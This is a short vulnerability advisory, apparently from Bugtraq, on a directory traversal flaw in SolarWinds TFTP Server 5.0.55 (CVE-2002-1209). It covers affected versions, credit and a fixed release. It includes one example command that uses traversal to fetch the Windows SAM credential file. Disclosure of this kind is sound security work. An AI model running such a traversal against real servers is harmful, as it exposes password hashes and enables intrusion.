SolarWinds TFTP Server Directory Traversal Vulnerability

Bugtraq ID:	6045
Class:	Input Validation Error
CVE:	CVE-2002-1209
Remote:	Yes
Local:	No
Published:	Oct 25 2002 12:00AM
Updated:	Jul 11 2009 06:06PM
Credit:	Vulnerability discovery credited to Matthew Murphy <[email protected]>.
Vulnerable:	SolarWinds TFTP Server Standard Edition 5.0.55
Not Vulnerable:	SolarWinds TFTP Server Standard Edition 5.0 .60

SolarWinds TFTP Server Directory Traversal Vulnerability

SolarWinds TFTP Server is distributed for the Microsoft Windows platform.

The SolarWinds TFTP Server does not properly handle user-supplied input. Due to insufficient handling of user input, it is possible for a remote user to request arbitrary files from the vulnerable server. It would be possible for a remote user to download any files readable through the permissions of the TFTP Server user.

SolarWinds TFTP Server Directory Traversal Vulnerability

No exploit is required for this vulnerability.

The following example has been made available:

tftp example.com GET a\..\..\winnt\repair\sam

SolarWinds TFTP Server Directory Traversal Vulnerability

Solution:
A fixed version has been made available:


SolarWinds TFTP Server Standard Edition 5.0.55

• SolarWinds SolarWinds TFTP Server 5.0.60
  ftp://ftp.solarwinds.net/pub/SolarWinds-TFTP-Server.exe

SolarWinds TFTP Server Directory Traversal Vulnerability

References:

• TFTP Server Homepage (SolarWinds)